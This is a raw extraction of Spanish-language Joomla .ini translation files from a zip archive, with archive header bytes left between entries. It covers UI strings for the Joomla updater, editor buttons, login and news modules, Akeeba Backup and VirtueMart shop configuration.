ini files need to be saved as UTF-8 - NO BOM! COM_CONFIG="Gestor de la configuración" COM_CONFIG_XML_DESCRIPTION="Gestor de la configuración" PK@y>\S1HH)language/es-ES/es-ES.com_joomlaupdate.ininuW+A; $Id: es-ES.com_joomlaupdate.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2015 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_JOOMLAUPDATE_CONFIG_CUSTOMURL_DESC="Esto es una URL del XML personalizada, que solo se usa cuando la opción "_QQ_"Origen de la actualización"_QQ_" está configurada en "_QQ_"URL personalizada"_QQ_"." COM_JOOMLAUPDATE_CONFIG_CUSTOMURL_LABEL="URL personalizada" COM_JOOMLAUPDATE_CONFIG_SOURCES_DESC="Configure desde dónde obtendrá Joomla! la información de actualización" COM_JOOMLAUPDATE_CONFIG_SOURCES_LABEL="Origen de la actualización" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_CUSTOM="URL personalizada" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_DESC="El servidor de actualizaciones desde el que Joomla! debe salir a buscar si hay actualizaciones disponibles." COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_LABEL="Servidor de actualizaciones" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_LTS="Soporte de larga duración -LTS- (recomendado)" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_NOCHANGE="Actualmente configurado (sin cambios)" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_STS="Soporte de corta duración -STS-" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_TESTING="Pruebas" COM_JOOMLAUPDATE_CONFIGURATION="Configuración de actualizaciones para Joomla" COM_JOOMLAUPDATE_OVERVIEW="Actualización de Joomla!" COM_JOOMLAUPDATE_VIEW_COMPLETE_HEADING="Estado de la actualización de Joomla!" COM_JOOMLAUPDATE_VIEW_DEFAULT_CANT_INSTALL_UPDATE="No podemos instalar la actualización" COM_JOOMLAUPDATE_VIEW_DEFAULT_CANT_INSTALL_UPDATE_DESC="No podemos instalar la actualización a %s debido a que su hospedaje no soporta los requisitos mínimos para Joomla %s y no hay alternativa disponible." COM_JOOMLAUPDATE_VIEW_COMPLETE_MESSAGE="Su sitio ha sido actualizado correctamente. Ahora su versión de Joomla es la %s." COM_JOOMLAUPDATE_VIEW_DEFAULT_DOWNLOAD_IN_PROGRESS="Descargando el archivo de actualización. Por favor, espere..." COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_DIRECTORY="Directorio del FTP" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_HOSTNAME="Hospedaje del FTP" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_PASSWORD="Contraseña del FTP" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_PORT="Puerto del FTP" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_USERNAME="Usuario del FTP" COM_JOOMLAUPDATE_VIEW_DEFAULT_INSTALLED="Versión de Joomla! instalada" COM_JOOMLAUPDATE_VIEW_DEFAULT_INSTALLUPDATE="Instalar la actualización" COM_JOOMLAUPDATE_VIEW_DEFAULT_LATEST="Última versión de Joomla!" COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD_DIRECT="Escribir los archivos directamente" COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD_FTP="Escribir los archivos usando el FTP" COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD="Método de instalación" COM_JOOMLAUPDATE_VIEW_DEFAULT_NOUPDATES="Sin actualizaciones disponibles" COM_JOOMLAUPDATE_VIEW_DEFAULT_NOUPDATESNOTICE="Ya dispone de la última versión de Joomla!, %s." COM_JOOMLAUPDATE_VIEW_DEFAULT_PACKAGE="URL del paquete de actualización" COM_JOOMLAUPDATE_VIEW_DEFAULT_UPDATEFOUND="Hay una actualización disponible para Joomla!" COM_JOOMLAUPDATE_VIEW_PROGRESS="Proceso de la actualización" COM_JOOMLAUPDATE_VIEW_UPDATE_BYTESEXTRACTED="Bytes extraídos" COM_JOOMLAUPDATE_VIEW_UPDATE_BYTESREAD="Bytes leídos" COM_JOOMLAUPDATE_VIEW_UPDATE_DOWNLOADFAILED="La descarga del paquete de actualización ha fallado" COM_JOOMLAUPDATE_VIEW_UPDATE_FILESEXTRACTED="Archivos extraídos" COM_JOOMLAUPDATE_VIEW_UPDATE_INPROGRESS="Actualizando los archivos de Joomla!. Por favor, espere..." COM_JOOMLAUPDATE_VIEW_UPDATE_PERCENT="Porcentaje completado" COM_JOOMLAUPDATE_XML_DESCRIPTION="Actualícese a la última versión de Joomla! con un solo clic" PK@y>\Cd2language/es-ES/es-ES.plg_editors-xtd_pagebreak.ininuW+A; $Id: es-ES.plg_editors-xtd_pagebreak.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_EDITORS-XTD_PAGEBREAK="Botón - Salto de página" PLG_EDITORSXTD_PAGEBREAK_BUTTON_PAGEBREAK="Salto de página" PLG_EDITORSXTD_PAGEBREAK_XML_DESCRIPTION="Proporciona un botón que permite insertar un salto de página dentro de un artículo. Una ventana emergente permite configurar los parámetros a usar." PK@y>\+_))5language/es-ES/es-ES.plg_editors-xtd_readmore.sys.ininuW+A; $Id: es-ES.plg_editors-xtd_readmore.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_EDITORS-XTD_READMORE="Botón - Leer más" PLG_READMORE_XML_DESCRIPTION="Se habilita un botón, el cual permite insertar fácilmente el enlace 'Leer más...' dentro de un artículo." PK@y>\Cߡrr(language/es-ES/es-ES.com_akeeba.menu.ininuW+A; version 3.2.4 2011-03-09 20:30:12 ~1 ; author Isidro Baquero y Carlos M. Cámara - www.gnumla.com ; copyright Gnumla.com ; license GPL ; Note : All ini files need to be saved as UTF-8 COM_AKEEBA="Akeeba Backup" COM_AKEEBA.CONFIGURATION="Configuración" COM_AKEEBA.BACKUP_NOW="Respaldar ahora" COM_AKEEBA.ADMINISTER_BACKUP_FILES="Administrar ficheros de respaldo" PK@y>\R>/language/es-ES/es-ES.plg_content_finder.sys.ininuW+A; $Id: es-ES.plg_content_finder.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_CONTENT_FINDER="Contenido - Búsquedas inteligentes" PLG_CONTENT_FINDER_XML_DESCRIPTION="Habilita la indexación para búsquedas inteligentes" PK@y>\[QDD"language/es-ES/es-ES.mod_login.ininuW+A; $Id: es-ES.mod_login.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_LOGIN="Formulario de datos de acceso" MOD_LOGIN_FIELD_USESECURE_DESC="Enviar los datos cifrados (Requiere SSL). No habilite esta opción si Joomla! no es accesible usando el protocolo 'https://'." MOD_LOGIN_FIELD_USESECURE_LABEL="Cifrar el formulario de datos de acceso" MOD_LOGIN_LANGUAGE="Idioma" MOD_LOGIN_LOGIN="Conectar" MOD_LOGIN_XML_DESCRIPTION="Este módulo muestra un formulario de acceso que permite introducir el nombre usuario y la contraseña. No se puede despublicar." PK@y>\n='language/es-ES/es-ES.mod_latest.sys.ininuW+A; $Id: es-ES.mod_latest.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_LATEST="Últimas noticias" MOD_LATEST_XML_DESCRIPTION="Este módulo muestra una lista de los artículos más recientes que actualmente están publicados. Algunos de los que se muestren puede que ya hayan expirado, pero seguir siendo de los más recientes." MOD_LATEST_LAYOUT_DEFAULT="Predeterminado" PK@y>\GpP'language/es-ES/es-ES.com_virtuemart.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_VIRTUEMART="VirtueMart" COM_VIRTUEMART_ABOUT="Acerca" COM_VIRTUEMART_ACCESS_FORBIDDEN="Acceso Prohibido" COM_VIRTUEMART_ADD="Nuevo" COM_VIRTUEMART_ADDRESS="Dirección" COM_VIRTUEMART_ADD_COMMENT="Agregar comentario" COM_VIRTUEMART_ADD_RATING="Agregar Calificación" COM_VIRTUEMART_ADD_SHIPTO_1="Agregar nuevo" COM_VIRTUEMART_ADD_SHIPTO_2="Dirección de envío" COM_VIRTUEMART_ADMIN="Panel de control" COM_VIRTUEMART_ADMIN_CFG_ACCOUNT_ACTIVATION="¿Activación de cuentas nuevas necesaria?" COM_VIRTUEMART_ADMIN_CFG_ADDTOCART_POPUP="Mostrar modal popup en 'Agregar al carro' " COM_VIRTUEMART_ADMIN_CFG_ADDTOCART_POPUP_EXPLAIN="Si se marca, usted verá el modal 'facebox' al añadir un producto al carro si nó se redirige al carro" COM_VIRTUEMART_ADMIN_CFG_AGREE_TERMS_ONORDER="¿Debe aceptar los términos de servicio en cada pedido?" COM_VIRTUEMART_ADMIN_CFG_AGREE_TERMS_ONORDER_EXPLAIN="Marque si desea que el comprador acepte los términos de servicio en cada pedido(Antes de comprar)" COM_VIRTUEMART_ADMIN_CFG_ALLOW_REGISTRATION="¿Se permite el registro de usuarios?" COM_VIRTUEMART_ADMIN_CFG_ASSETS_GENERAL_PATH="Ruta general de recursos" COM_VIRTUEMART_ADMIN_CFG_ASSETS_GENERAL_PATH_EXPLAIN="Es la ruta usual a la carpeta de recursos en com_virtuemart" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_PAYMENT="¿Activar selección de pago automático?" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_PAYMENT_EXPLAIN="Cuando se activa, se selecciona el método de pago si solo hay uno activado, se preselecciona.
            Si no esta activo, aun cuando haya solo un método activado se abre otra página. Util cuando los datos de pago deben de ser validados por el cliente." COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_SHIPMENT="¿Activar selección automática de envío?" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_SHIPMENT_EXPLAIN="Cuando se activa, se selecciona el método de envío si solo hay uno activado, se preselecciona.
            Si no esta activo, aun cuando haya solo un método activado se abre otra página. Util cuando los datos de envío deben de ser validados por el cliente." COM_VIRTUEMART_ADMIN_CFG_CATEGORIES_PER_ROW="Número por defecto de categorías en una fila" COM_VIRTUEMART_ADMIN_CFG_CATEGORIES_PER_ROW_EXPLAIN="Define el numero de categorías en una fila
            " COM_VIRTUEMART_ADMIN_CFG_CATEGORY_LAYOUT="Layout de categoría" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_LAYOUT_EXPLAIN="El layout por defecto para ver categorías" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_TEMPLATE="Template de categorías" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_TEMPLATE_EXPLAIN="Esto define el template por defecto para mostrar productos en categoría.
            " COM_VIRTUEMART_ADMIN_CFG_CHECKOUTTAB="Compra" COM_VIRTUEMART_ADMIN_CFG_CHECKOUT_SETTINGS="Configuración de compra" COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS="Activar herramientas de actualización de base de datos" COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS_EXPLAIN="Aquí puedes activar herramientas, escritas para prueba y desinstalación. Se usan para regresar la tienda a la configuración de instalación. Considéralo antes de usar la herramienta, la configuración se resetea a vacía." COM_VIRTUEMART_ADMIN_CFG_DATEFORMAT="Formato de fecha de la tienda" COM_VIRTUEMART_ADMIN_CFG_DATEFORMAT_EXPLAIN="El formato por defecto usado por la tienda. Ej. %m/%d/%y." COM_VIRTUEMART_ADMIN_CFG_DEBUG="¿DEBUG ?" COM_VIRTUEMART_ADMIN_CFG_DEBUG_EXPLAIN="Activa la opción DEBUG. Mostrara la página de DEBUG al final de cada página. Util en desarrollo muestra los contenidos, valores de formularios, etc." COM_VIRTUEMART_ADMIN_CFG_DEBUG_IP_ADDRESS="Dirección IP de cliente" COM_VIRTUEMART_ADMIN_CFG_DEBUG_IP_ADDRESS_EXPLAIN="si activa esta opción ingrese una dirección IP, se mostrara el DEBUG solo para clientes en esa IP. Los demas usuarios no la verán" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADABLETAB="Descargas" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADROOT="Ruta de descarga" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADROOT_EXPLAIN="Ruta física de los archivos para descarga. (Diagonal invertida al final)
            " COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_EXPIRE="Descarga expirada" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_EXPIRE_EXPLAIN="Establece el rango de tiempo en segundos en el cual la descarga estara disponible para el cliente" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_KEEP_STOCKLEVEL="¿Mantener el nivel de existencias en la compra?" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_KEEP_STOCKLEVEL_TIP="Cuando se activa, las existencias de un producto descargable no disminuye a menos que sea adquirida por un comprador" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_MAX="Maximo de descargas" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_MAX_EXPLAIN="Establece el numero de descargas que pueden hacerse con un ID-Descarga, (para una pedido)" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_SETTINGS="Configuración de descargas" COM_VIRTUEMART_ADMIN_CFG_DYNAMIC_THUMBNAIL_RESIZING="¿Activar redimensión dinámica de thumbnails?" COM_VIRTUEMART_ADMIN_CFG_DYNAMIC_THUMBNAIL_RESIZING_TIP="Si seleccionado, se activa la redimensión dinámica de imágenes. Esto significa que los Thumbnails de las imágenes son redimensionados al tamaño proporcionado." COM_VIRTUEMART_ADMIN_CFG_ENABLE_CONTENT_PLUGIN="Activar Plugin Joomla " COM_VIRTUEMART_ADMIN_CFG_ENABLE_CONTENT_PLUGIN_EXPLAIN="Avilita Joomla content Plugin para la descripción del producto. No tiene que ser activado si usted no utiliza Joomla content plugin" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG="Activar mensajes de desarrollo." COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ADMIN="Solo Administradores" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ALL="Para todos." COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_EXPLAIN="Seleccione a quien se reportaran los mensajes." COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_NONE="No mensajes." COM_VIRTUEMART_ADMIN_CFG_ENABLE_DOWNLOADS="Activar descargas." COM_VIRTUEMART_ADMIN_CFG_ENABLE_DOWNLOADS_EXPLAIN="Marcar para activar la capacidad de descarga. (Solo si desea vender artículos descargables)" COM_VIRTUEMART_ADMIN_CFG_ENABLE_ENGLISH="Textos no traducidos en inglés" COM_VIRTUEMART_ADMIN_CFG_ENABLE_ENGLISH_EXPLAIN="Cargar la traducción en inglés para no mostrar las claves en textos no traducidos" COM_VIRTUEMART_ADMIN_CFG_ENABLE_GOOGLE_JQUERY="Usar librería externa jquery de google" COM_VIRTUEMART_ADMIN_CFG_ENABLE_GOOGLE_JQUERY_EXPLAIN="Usar la librería externa de google aumenta la velocidad de la página" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX="Activar multi vendedor (experimental solo para desarrolladores)" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_ADMIN="multivendedor administrado" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_EXPLAIN="Active la función solo, cuando sabe programar en php y sabe lo que esta haciendo, esta opción activa multivendedor para personalización." COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_NONE="ninguno" COM_VIRTUEMART_ADMIN_CFG_ENABLE_PDF_INVOICES="Crear y enviar Factura pdf" COM_VIRTUEMART_ADMIN_CFG_ENABLE_PDF_INVOICES_EXPLAIN="Para esta función es importante que usted fije su ruta segura correctamente" COM_VIRTUEMART_ADMIN_CFG_ERRORPAGE="PAGINADE ERROR" COM_VIRTUEMART_ADMIN_CFG_ERRORPAGE_EXPLAIN="La página por defecto para mostrar mensajes de error." COM_VIRTUEMART_ADMIN_CFG_EXPLAIN="Sepa que esta sesion caché esta activa para la configuracióny tiene una duración de 500 minutos. Sus cambios tardaran 5 minutos en afectar a todas las sesiones, incluyendo la suya. Para renovar la sesión haga cierre la sesion y vuelba a entrar." COM_VIRTUEMART_ADMIN_CFG_FEATURED_PRODUCTS_PER_ROW="Productos destacados por fila" COM_VIRTUEMART_ADMIN_CFG_FEATURED_PRODUCTS_PER_ROW_EXPLAIN="Establece el numero de productos destacados por fila
            " COM_VIRTUEMART_ADMIN_CFG_FEEDTAB="Configuración de Feed" COM_VIRTUEMART_ADMIN_CFG_FEED_CACHE="Configuración de cache de FEED" COM_VIRTUEMART_ADMIN_CFG_FEED_CACHETIME="Tiempo de cache (segundos)" COM_VIRTUEMART_ADMIN_CFG_FEED_CACHE_TIP="El uso de cache aumenta la velocidad de los FEEDS, porque el feed es creado una sola vez y guardado en archivo." COM_VIRTUEMART_ADMIN_CFG_FEED_DESCRIPTION_TYPE="Tipo de descripción del producto" COM_VIRTUEMART_ADMIN_CFG_FEED_DESCRIPTION_TYPE_TIP="Escoge el tipo de descripción que será incluida en el feed." COM_VIRTUEMART_ADMIN_CFG_FEED_ENABLE="Activar FEED de productos" COM_VIRTUEMART_ADMIN_CFG_FEED_ENABLE_TIP="Si se activa, los compradores pueden suscribirse a un FEED que muestra los últimos productos (de una categoría) en su tienda" COM_VIRTUEMART_ADMIN_CFG_FEED_LIMITTEXT="¿Limitar la descripción?" COM_VIRTUEMART_ADMIN_CFG_FEED_MAX_TEXT_LENGTH="Largo máximo de descripción" COM_VIRTUEMART_ADMIN_CFG_FEED_SETTINGS="Configuración de FEED" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWDESC="¿Incluir descripción del producto?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWDESC_TIP="Si seleccionado, la descripción del producto se agregara al FEED del artículo" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWIMAGES="¿Incluir imágenes en el feed?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWIMAGES_TIP="Si seleccionado, los Thumbs de las imágenes será n incluidas en el FEED" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWPRICES="¿Incluir el precio en la descripción del producto?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWPRICES_TIP="Si seleccionado, el precio estándar del producto será agregado a la descripción." COM_VIRTUEMART_ADMIN_CFG_FEED_TITLE="Título del feed" COM_VIRTUEMART_ADMIN_CFG_FEED_TITLE_CATEGORIES="Título del Feed de categorías" COM_VIRTUEMART_ADMIN_CFG_FEED_TITLE_CATEGORIES_TIP="Título del feed de categoría ({catname} nombre de la categoría, {storename} nombre de la tienda)" COM_VIRTUEMART_ADMIN_CFG_FRONTENDAMDIN="¿Permite administración para usuarios sin acceso a Back.end?" COM_VIRTUEMART_ADMIN_CFG_FRONTENDAMDIN_EXPLAIN="Con esta configuración puede establecer la administración en Frontend para usuarios que" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS="Usar el CSS de virtuemart" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_JS_SETTINGS="Activa estilos de CSS y scrips de Java" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_JS_SETTINGS_TIP="Descatívelo si alguno de estos scrips requiere la actualización del usado en su template.
            En otro caso su tienda podría no funcionar" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_TIP="Usar el CSS original de virtuemart" COM_VIRTUEMART_ADMIN_CFG_FRONT_JPRICE="Usar los scripts de producto" COM_VIRTUEMART_ADMIN_CFG_FRONT_JPRICE_TIP="Estos scrips son necesarios pata la operación dinámica de la canasta y el precio.
            Se perdera interactividad si se desactivan" COM_VIRTUEMART_ADMIN_CFG_FRONT_JQUERY="Usar Jquery de Virtuemart" COM_VIRTUEMART_ADMIN_CFG_FRONT_JQUERY_TIP="Para detectar problemas entre VirtueMart y Templates / componentes / módulos, puede desactivar el jquery interno" COM_VIRTUEMART_ADMIN_CFG_FRONT_JSITE="Usar el Script ajax por país / Región" COM_VIRTUEMART_ADMIN_CFG_FRONT_JSITE_TIP="La actualización dinámica de país /región no funciona sin este script.
            verifique que no interfiera con la opreación de su sitio." COM_VIRTUEMART_ADMIN_CFG_GD_MISSING="Redimensión de imágenes no disponible. La librería GD puede no estar disponible." COM_VIRTUEMART_ADMIN_CFG_HOMEPAGE_SETTINGS="Configuración de página inicial de Virtuemart" COM_VIRTUEMART_ADMIN_CFG_JOOMLA_TEMPLATE_DEFAULT="Usar JOOMLA por defecto" COM_VIRTUEMART_ADMIN_CFG_LANGFIX="Arreglo idioma Javascript" COM_VIRTUEMART_ADMIN_CFG_LANGFIX_EXPLAIN="Activar Arreglo del Lenguaje Javascript para alguna versión de Joomla" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT="Formato de Mail de pedido" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_EXPLAIN="Determina como se debe configurar los emails de confirmación de pedido." COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_HTML="Mail HTML" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_TEXT="Mail de texto" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_RECIPIENT="Recibir correo electrónico del vendedor con la dirección del destinatario" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_RECIPIENT_EXPLAIN="Por lo general, el vendedor recibe el correo de la dirección de correo electrónico del sistema joomla. Si estableces esto, recibirás el correo que viene como dirección del destinatario. ¡Establece esta opción si estás realmente seguro de lo que haces! En caso de duda, no cambies este parámetro." COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_SETSENDER="Dirección del destinatario establecido como remitente, sin respuesta" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_SETSENDER_EXPLAIN="Si se establece, la dirección de correo del destinatario se configura como remitente. Si no, el destinatario se configura como dirección de respuesta. ¡Establece esta opción si estás realmente seguro de lo que haces! En caso de duda, no cambies este parámetro." COM_VIRTUEMART_ADMIN_CFG_MAIN_LAYOUT="Layout para la página de inicio" COM_VIRTUEMART_ADMIN_CFG_MAIN_LAYOUT_TIP="Es el layout por omisión de su página de inicio" COM_VIRTUEMART_ADMIN_CFG_MANUFACTURER_PER_ROW="Número de fabricantes en una fila" COM_VIRTUEMART_ADMIN_CFG_MANUFACTURER_PER_ROW_EXPLAIN="Define el numero de fabricantes en una fila
            " COM_VIRTUEMART_ADMIN_CFG_MAX_TEXT_LENGTH_TIP="Es la longitud máxima de la descripción del producto para cada artículo en FEED" COM_VIRTUEMART_ADMIN_CFG_MEDIA_CATEGORY_PATH="Ruta de archivos de categoría" COM_VIRTUEMART_ADMIN_CFG_MEDIA_CATEGORY_PATH_EXPLAIN="Ruta a las imágenes de categoría, puede usar una ruta dentro de la carpeta IMAGES de joomla o una diferente" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH="Directorio para venta" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_EXPLAIN="Directorio para bienes descargables. Está pensado para indicar la raíz de tu hosting, no la de tu joomla." COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_THUMB="Directorio para miniaturas de bienes descargables" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_THUMB_EXPLAIN="La idea es poder mostrar tus propias miniaturas para los bienes descargables" COM_VIRTUEMART_ADMIN_CFG_MEDIA_MANUFACTURER_PATH="Ruta a imágenes de fabricantes" COM_VIRTUEMART_ADMIN_CFG_MEDIA_MANUFACTURER_PATH_EXPLAIN="Ruta a imágenes de fabricantes" COM_VIRTUEMART_ADMIN_CFG_MEDIA_PRODUCT_PATH="Ruta a imágenes de productos" COM_VIRTUEMART_ADMIN_CFG_MEDIA_PRODUCT_PATH_EXPLAIN="Ruta a imágenes de productos" COM_VIRTUEMART_ADMIN_CFG_MEDIA_TITLE="Configuración de archivos MEDIA" COM_VIRTUEMART_ADMIN_CFG_MEDIA_VENDOR_PATH="Ruta de medios de vendedor" COM_VIRTUEMART_ADMIN_CFG_MEDIA_VENDOR_PATH_EXPLAIN="Ruta a las imágenes de vendedor" COM_VIRTUEMART_ADMIN_CFG_MORE_CORE_SETTINGS="mas configuración.s BASICAS" COM_VIRTUEMART_ADMIN_CFG_MULTILANGUE="Tienda multilingue" COM_VIRTUEMART_ADMIN_CFG_MULTILANGUE_EXPLAIN="Active el sistema traductor multilingue" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEFOUND="Archivo No se encontró imagen" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEFOUND_EXPLAIN="Significa que no se encontró la imagen en la ruta especificada" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEPAGE="Archivo No hay imagen" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEPAGE_EXPLAIN="Esta imagen se mostrara cuando no haya imagen del producto disponible" COM_VIRTUEMART_ADMIN_CFG_NO_OVERRIDE="No anular" COM_VIRTUEMART_ADMIN_CFG_ORDER_DISABLE_DOWNLOADS="Estado de pedido que deshabilita la descarga" COM_VIRTUEMART_ADMIN_CFG_ORDER_DISABLE_DOWNLOADS_EXPLAIN="Establece el estado de el pedido en el cual la descarga esta deshabilitada para el comprador." COM_VIRTUEMART_ADMIN_CFG_ORDER_ENABLE_DOWNLOADS="Estado de pedido que habilita la descarga" COM_VIRTUEMART_ADMIN_CFG_ORDER_ENABLE_DOWNLOADS_EXPLAIN="Selecciona el estado de el pedido en la cual el comprador es notificado acerca de la descarga vía email." COM_VIRTUEMART_ADMIN_CFG_PAGINATION_SEQUENCE="Fije la secuencia de paginacione para el listado" COM_VIRTUEMART_ADMIN_CFG_PAGINATION_SEQUENCE_EXPLAIN="Inserte lista separada por comas para la lista de FrontEnd.
            Example: 6,12,18,24
            " COM_VIRTUEMART_ADMIN_CFG_PDF_BUTTON="Boton PDF" COM_VIRTUEMART_ADMIN_CFG_PDF_BUTTON_EXPLAIN="Muestre u oculte el botón-pdf en la tienda" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_ADD="Mostrar 'Notificarme' en lugar del botón 'Añadir al carro'" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT="No mostrar el producto" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT_CHILDREN="No mostrar producto, si productos-hijo también están fuera de stock" COM_VIRTUEMART_ADMIN_CFG_POOS_NONE="Productos Sin Stock pueden ser pedidos, sin acción especial" COM_VIRTUEMART_ADMIN_CFG_POOS_RISE_AVATIME="Productos Sin Stock pueden ser pedidos, y el campo 'Disponibilidad' es mostrado" COM_VIRTUEMART_ADMIN_CFG_PRICES="Mostrar precios siguientes" COM_VIRTUEMART_ADMIN_CFG_PRICES_INCLUDE_TAX="¿Mostrar precios con impuestos?" COM_VIRTUEMART_ADMIN_CFG_PRICES_LABEL="Mostrat etiqueta" COM_VIRTUEMART_ADMIN_CFG_PRICES_ROUNDING="Redondeo (dígitos)" COM_VIRTUEMART_ADMIN_CFG_PRICES_TEXT="Mostrar texto" COM_VIRTUEMART_ADMIN_CFG_PRICE_ACCESS_LEVEL="Grupo de miembros para mostrar los precios" COM_VIRTUEMART_ADMIN_CFG_PRICE_ACCESS_LEVEL_TIP="Los usuarios seleccionados o los grupos con permisos mas altos al establecido podran ver los precios de producto" COM_VIRTUEMART_ADMIN_CFG_PRICE_ASKPRICE="Mostrar solicitar información si el precio está vacío" COM_VIRTUEMART_ADMIN_CFG_PRICE_ASKPRICE_TIP="Esto permite que el cliente pregunte directamente el precio si no quieres publicarlo." COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE="Precio base" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_EXPLAIN="Dependiendo de donde se hace el cálculo de beneficios/costo es el precio de costo o el precio calculado (?)" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR="El nuevo precio base es modificado por la variable de producto elegida" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR_EXPLAIN="El precio base es modificado por la variable de producto elegida" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX="El precio base con impuestos, sin descuentos" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX_EXPLAIN="util para mostrar el precio anterior sin descuento." COM_VIRTUEMART_ADMIN_CFG_PRICE_CONFIGURATION="Configuracíon de precio" 